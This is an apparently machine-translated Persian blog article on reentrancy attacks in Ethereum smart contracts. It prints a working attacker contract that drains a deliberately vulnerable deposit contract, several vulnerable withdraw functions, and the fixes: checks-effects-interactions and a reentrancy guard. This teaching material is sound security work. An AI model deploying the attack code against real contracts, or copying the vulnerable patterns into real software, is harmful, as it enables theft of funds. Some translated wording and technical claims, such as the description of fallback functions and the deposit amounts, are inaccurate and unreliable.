چگونه از قراردادهای هوشمند از چنگ حملات بازگشت مجدد فرار کنیم؟ هوش داده PlatoBlockchain. جستجوی عمودی Ai.

چگونه از قراردادهای هوشمند از چنگ حملات بازگشت مجدد فرار کنیم؟

وقت خواندن: 6 دقیقه

اگر نگاهی دقیق‌تر به بزرگ‌ترین هک‌های ارزهای دیجیتال و ارقام شگفت‌انگیز از دست رفته در آنها بیندازیم، ریشه‌های عمیقی از نقص‌های کدگذاری داشته‌اند.

یکی از موارد رایج آسیب‌پذیری امنیتی، حمله Reentrancy است. با این حال، تأثیر مخرب ناشی از ورود مجدد نادرست ممکن است به سادگی خود حمله به نظر نرسد.

علیرغم اینکه موضوعی آشنا و تبلیغاتی است، ظهور باگ Reentrancy در قراردادهای هوشمند همیشه اجتناب ناپذیر است. 

در سال های گذشته چند بار آسیب پذیری Reentrancy توسط هکرها مورد سوء استفاده قرار گرفته است؟ چگونه کار می کند؟ چگونه می توان قراردادهای هوشمند را از از دست دادن وجوه به باگ های Reentrancy جلوگیری کرد؟ پاسخ این سوالات را در این وبلاگ بیابید.

بنابراین، به زودی، بیایید بزرگترین حملات ورود مجدد در حافظه را بررسی کنیم. 

برخی از بدنام ترین هک های ورود مجدد بلادرنگ 

حملات بازگشت مجدد که بیشترین تأثیرات مخرب را روی پروژه ها داشتند، به انجام یکی از این دو یا حتی هر دو منجر شدند. 

  • اتر را به طور کامل از قراردادهای هوشمند تخلیه کنید
  • نفوذ هکرها به کد قرارداد هوشمند

اکنون می‌توانیم چند مورد از حملات Reentrancy و تأثیر آنها را مشاهده کنیم. 

2016 ژوئن: حمله DAO - 3.54 میلیون یا 150 میلیون دلار اتر

آوریل 2020: هک Uniswap/Lendf.Me – 25 میلیون دلار

ممکن است 2021: هک BurgerSwap – 7.2 میلیون دلار

2021 اوت: هک CREAM FINANCE – 18.8 میلیون دلار

مارس 2022: Ola Finance – 3.6 میلیون دلار

ژوئیه 2022: پروتکل OMNI - 1.43 میلیون دلار

واضح است که حملات Reentrancy هرگز از مد نیفتاده اند. بیایید در قسمت های بعدی بینش عمیقی در مورد آن به دست آوریم. 

بررسی اجمالی حمله Reentrancy

همانطور که از نام "Reentrancy" که به معنای "دوباره ورود مجدد" است. حمله مجدد شامل دو قرارداد است: قرارداد قربانی و قرارداد مهاجم. 

قرارداد مهاجم از آسیب پذیری ورود مجدد در قرارداد قربانی سوء استفاده می کند. برای رسیدن به آن از تابع برداشت استفاده می کند. 

قرارداد مهاجم تابع برداشت را فراخوانی می‌کند تا با برقراری تماس‌های مکرر قبل از به‌روزرسانی موجودی قرارداد قربانی، وجوه را از قرارداد قربانی تخلیه کند. قرارداد قربانی موجودی را بررسی می کند، وجوه را ارسال می کند و موجودی را به روز می کند. 

اما در بازه زمانی ارسال وجوه و به روز رسانی موجودی در قرارداد، قرارداد مهاجم تماس مستمری را برای برداشت وجه انجام می دهد. در نتیجه، موجودی در قرارداد قربانی به‌روزرسانی نمی‌شود تا زمانی که قرارداد مهاجم تمام وجوه را تخلیه کند.

شدت و هزینه بهره برداری از ورود مجدد نیاز مبرم به اجرا را هشدار می دهد ممیزی قرارداد هوشمند تا امکان نادیده گرفتن چنین خطاهایی را رد کند. 

نمای گویا از حمله مجدد

بیایید مفهوم حمله بازگشت مجدد را از تصویر ساده شده زیر درک کنیم. 

در اینجا دو قرارداد وجود دارد: قرارداد آسیب پذیر و قرارداد هکر

قرارداد هکر یک تماس برای خروج از قرارداد آسیب پذیر ایجاد می کند. با دریافت تماس، قرارداد آسیب‌پذیر وجوه موجود در قرارداد هکر را بررسی می‌کند و سپس وجوه را به هکر منتقل می‌کند. 

هکر وجوه را دریافت می‌کند و تابع بازگشتی را پیاده‌سازی می‌کند، که حتی قبل از به‌روزرسانی موجودی قرارداد آسیب‌پذیر، دوباره قرارداد آسیب‌پذیر را فراخوانی می‌کند. بنابراین با تکرار همان عملیات، هکر وجوه را به طور کامل از قرارداد آسیب پذیر خارج می کند. 

چگونه از قراردادهای هوشمند از چنگ حملات بازگشت مجدد فرار کنیم؟

ویژگی های تابع Fallback که توسط مهاجم استفاده می شود 

  • آنها از خارج قابل تماس هستند. یعنی نمی توان آنها را از داخل قراردادی که نوشته شده است فراخوانی کرد
  • تابع بی نام
  • تابع بازگشتی شامل منطق دلخواه در داخل آن نیست
  • زمانی که اتریوم به قرارداد هوشمند محصور شده ارسال می شود و هیچ تابع ()receive اعلان نمی شود، بازگشت مجدد آغاز می شود.

تجزیه و تحلیل حمله بازگشت مجدد از دیدگاه فنی 

بیایید یک قرارداد نمونه برداریم و بفهمیم که حمله مجدد چگونه رخ می دهد.

قرارداد مخرب

contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }


}

این قرارداد مهاجم است که در آن مهاجم 2ETH را واریز می کند. مهاجم تابع برداشت را در قرارداد آسیب پذیر فراخوانی می کند. هنگامی که وجوه از قرارداد آسیب پذیر دریافت شد، تابع بازگشتی فعال می شود. 

پس از بازگشت، تابع برداشت را اجرا می کند و صندوق را از قرارداد آسیب پذیر تخلیه می کند. این چرخه تا زمانی ادامه می یابد که منابع مالی قرارداد آسیب پذیر به طور کامل تمام شود.

قرارداد آسیب پذیر

contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }


}

قرارداد آسیب پذیر دارای 30ETH است. در اینجا تابع ()retract مبلغ درخواستی را برای مهاجم ارسال می کند. از آنجایی که موجودی به روز نمی شود، توکن ها به طور مکرر به مهاجم منتقل می شوند. 

انواع حملات بازگشت مجدد

  • ورود مجدد تک عملکردی 
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

msg.sender.call.value(amount)() وجوهی را منتقل می‌کند که پس از آن تابع بازگشتی قرارداد مهاجم، قبل از به‌روزرسانی موجودی[msg.sender] = 0، ()retract() را دوباره فراخوانی می‌کند.

  • بازگشت مجدد با عملکرد متقابل
function transfer(address to, uint amount) external {
   if (balances[msg.sender] >= amount) {
       balances[to] += amount;
       balances[msg.sender] -= amount;
   }
}
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

شناسایی مجدد کارکردهای متقابل بسیار پیچیده تر است. تفاوت در اینجا این است که تابع بازگشتی بر خلاف ورود مجدد تک عملکردی، جایی که خروج را فراخوانی می کند، انتقال را فراخوانی می کند.

پیشگیری از حملات بازگشت مجدد

الگوی بررسی-اثر-تعامل: الگوی بررسی-اثر-تعامل به ساختار توابع کمک می کند. 

برنامه باید به گونه ای کدگذاری شود که ابتدا شرایط را بررسی کند. پس از گذراندن چک ها، باید آثار بر وضعیت قراردادها برطرف شود و پس از آن می توان عملکردهای خارجی را فراخوانی کرد. 

function withdraw() external {
   uint256 amount = balances[msg.sender];
   balances[msg.sender] = 0;
   require(msg.sender.call.value(amount)());
}

کد بازنویسی شده در اینجا از الگوی بررسی - اثرات - تعامل پیروی می کند. در اینجا موجودی قبل از برقراری تماس خارجی صفر می شود. 

استفاده از اصلاح کننده

اصلاح‌کننده noReentrant که بر روی تابع اعمال می‌شود تضمین می‌کند که هیچ تماس ورودی مجدد وجود ندارد. 

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

در پایان

موثرترین گام، انجام ممیزی قراردادهای هوشمند از یک شرکت امنیتی پیشرو مانند QuillAudits است که در آن حسابرسان ساختار کد را زیر نظر دارند و نحوه عملکرد عملکرد بازگشتی را بررسی می کنند. بر اساس الگوهای مورد مطالعه، توصیه هایی برای بازسازی کد در صورت به نظر می رسد ارائه می شود رفتارهای آسیب پذیر

ایمنی وجوه درست قبل از اینکه قربانی هر گونه ضرری شوید تضمین می شود. 

پرسش های متداول

حمله بازگشت مجدد چیست؟

حمله ورود مجدد زمانی اتفاق می‌افتد که یک تابع در قرارداد آسیب‌پذیر یک قرارداد غیرقابل اعتماد را فراخوانی کند. قرارداد غیرقابل اعتماد، قرارداد مهاجم برای برقراری تماس های بازگشتی با قرارداد آسیب پذیر است تا زمانی که وجوه به طور کامل تخلیه شود. 

ورود مجدد چیست؟

عمل ورود مجدد به معنای قطع اجرای کد و شروع مجدد فرآیند است که به آن دوباره وارد می شود.

گارد ورود مجدد چیست؟

محافظ ورود مجدد از یک اصلاح کننده استفاده می کند که از فراخوانی مکرر تابع جلوگیری می کند. وبلاگ بالا را بخوانید تا مثالی برای نگهبان ورود مجدد پیدا کنید.

برخی از حملات به قراردادهای هوشمند چیست؟

قراردادهای هوشمند در معرض آسیب پذیری های متعددی مانند ورود مجدد، وابستگی به مهر زمانی، سرریزهای حسابی، حملات DoS و غیره قرار دارند. بنابراین، حسابرسی برای اطمینان از وجود اشکالاتی که منطق قرارداد را از بین ببرد، ضروری است.

69 نمایش ها

تمبر زمان:

بیشتر از کویل هاش